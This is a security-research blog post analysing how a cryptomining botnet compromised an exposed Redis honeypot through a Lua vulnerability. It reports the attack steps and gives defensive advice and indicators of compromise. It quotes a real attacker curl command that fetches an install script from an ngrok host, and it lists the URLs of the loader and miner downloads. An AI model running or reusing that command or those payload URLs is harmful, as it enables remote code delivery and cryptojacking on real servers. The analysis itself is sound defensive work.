Anatomy of a Redis Exploit

Lacework Labs · October 17, 2018 · 4 min read

Photo by Sonja Langford on Unsplash

At Lacework Labs we have been setting up honeypots as part of our ongoing research into securing public cloud infrastructure. Recently we noticed one of our Redis honeypots was compromised. We were running a stock version of Redis which allowed inbound connections. During our monitoring, a cryptocurrency mining botnet quickly compromised the server by exploiting a Lua vulnerability in Redis. While attacks like this have been going on for some time now, we thought we would share some of the details around what these types of attacks look like at a finer level of detail.

Honeypot Setup

We set up a server running Ubuntu 14.04 and then did a default install of Redis using, which installed Redis 2.8.4. The server was set up to allow any incoming connections. At this point, we had a very attractive target, an old version of Redis, open to the internet, with no enabled authentication.

The Attack

Once live, the Redis server received many connections via TCP port 6379, using the RESP (Redis Serialization Protocol) protocol. During our monitoring we observed a number of different attacks, however, in this blog post we describe an attack where Redis is exploited with a Lua vulnerability which ultimately installs a cryptocurrency miner. The attack begins with the attacker changing the directory in the Redis config file to /tmp via commands sent with RESP.

Next, the attacker delivers an exploit targeting a Lua vulnerability (likely CVE-2015-4335).

Within the exploit payload, there is a small script containing a number of different download methods to retrieve and execute the next script. Here is an example of the first download command in the payload that executed successfully:

curl -m 60 -sk "'http://6cb8db3a.ngrok[.]io/f/serve?r=03a0be16c8c10eccf08f5f8cf3f849ed&l=1&curl=1"

This curl command retrieves an install script to execute a number of tasks. At a high level the script does the following:

Searches and kills certain processes relating to things such as other cryptocurrency miners.
Gathers info about certain processes to report back.
Downloads and installs two ELF files (a loader and a miner).
Modifies host files and crontabs.

The script retrieves the loader via an HTTP GET request to {subdomain}.ngrok[.]io/d8/daemon and the cryptocurrency miner via an HTTP GET request to {subdomain}.ngrok[.]io/d8/ngix.

Within VirusTotal we can see that the loader and the miner have only a handful of detections at the time of this writing. At Padawan you can see the standard output for the miner showing details around the mining process. After the loader and cryptocurrency miner are downloaded, the script uses the loader to start the miner.

Interestingly the botnet uses Ngrok to serve scripts, ELF files, and upload files from the compromised host. Ngrok is a service to tunnel resources from a local server to a public URL making it an ideal choice to rotate infrastructure frequently. A quick look at the domain in Cisco Umbrella Investigate shows a sudden increase in DNS queries for the domain in early October. This sudden increase is later followed by a gradual increase in queries over time. This is possibly indicative of the botnet gaining traction.

Wrapping Up

This is just one example of malicious activity that occurs when a default install of Redis is setup allowing traffic from the outside world. Obviously Redis is not intended to be used this way, but it’s easy to see how this could happen due to the simplicity of setting up and using Redis. To prevent this from happening in your environment, here are a couple of tips.

According to the Redis Security page, “Redis is designed to be accessed by trusted clients inside trusted environments.” To accomplish this:

Don’t expose your Redis server to the open internet (TCP Port 6379).
Bind Redis network connections to localhost (127.0.0.1) or only allow from trusted systems.
Setup authentication for Redis.
Ensure your apps have a layer to sanitize and check input before sending to Redis.

Indicators of Compromise

SHA256

6dc5f7cae034da9f0a821a58add9c9f57fe5640fd239df27baf488cca33b5562, miner (/tmp/kthreadd)
c8053509188df43d4f25c2add096228af75ebf62b41da3de61695199bca58fce, miner (/tmp/kauditd)
92a6c2a5a70f6535bb3bfdffb3c3829ffae8a9bea380c34311e72dc0f66bcfdb, loader (/tmp/.sysinfo/03a0be16c8c10eccf08f5f8cf3f849ede)
b944f2a981d74c8e14a6a8f3388ca0b3502ce09016acb678cb11ae7568786931, loader (/tmp/.sysinfo/03a0be16c8c10eccf08f5f8cf3f849edf)

URLs

http://{subdomain}.ngrok[.]io/f/serve?r=03a0be16c8c10eccf08f5f8cf3f849ed&l=1&curl=1, install script
http://{subdomain}.ngrok[.]io/d8/daemon, loader download
http://{subdomain}.ngrok[.]io/d8/ngix, miner download
http://{subdomain}.ngrok[.]io/contact?k=1, upload process details
http://{subdomain}.ngrok[.]io/contact?r=03a0be16c8c10eccf08f5f8cf3f849ed&e=1, upload process details

IPs

194.99.105.76, redis attack IP
185.242.6.4, redis attack IP
18.216.53.253, ngrok IP
52.14.61.47, ngrok IP
52.15.183.149, ngrok IP
52.15.194.28, ngrok IP
52.15.62.13, ngrok IP
52.15.72.79, ngrok IP
5.196.26.96:14444, mining IP
51.15.55.100:14444, mining IP
51.15.55.162:14444, mining IP
51.15.67.17:14444, mining IP
51.255.34.79:14444, mining IP
51.255.34.80:14444, mining IP
92.222.10.59:14444, mining IP
151.80.144.188:14444, mining IP

Domains

pool.minexmr.com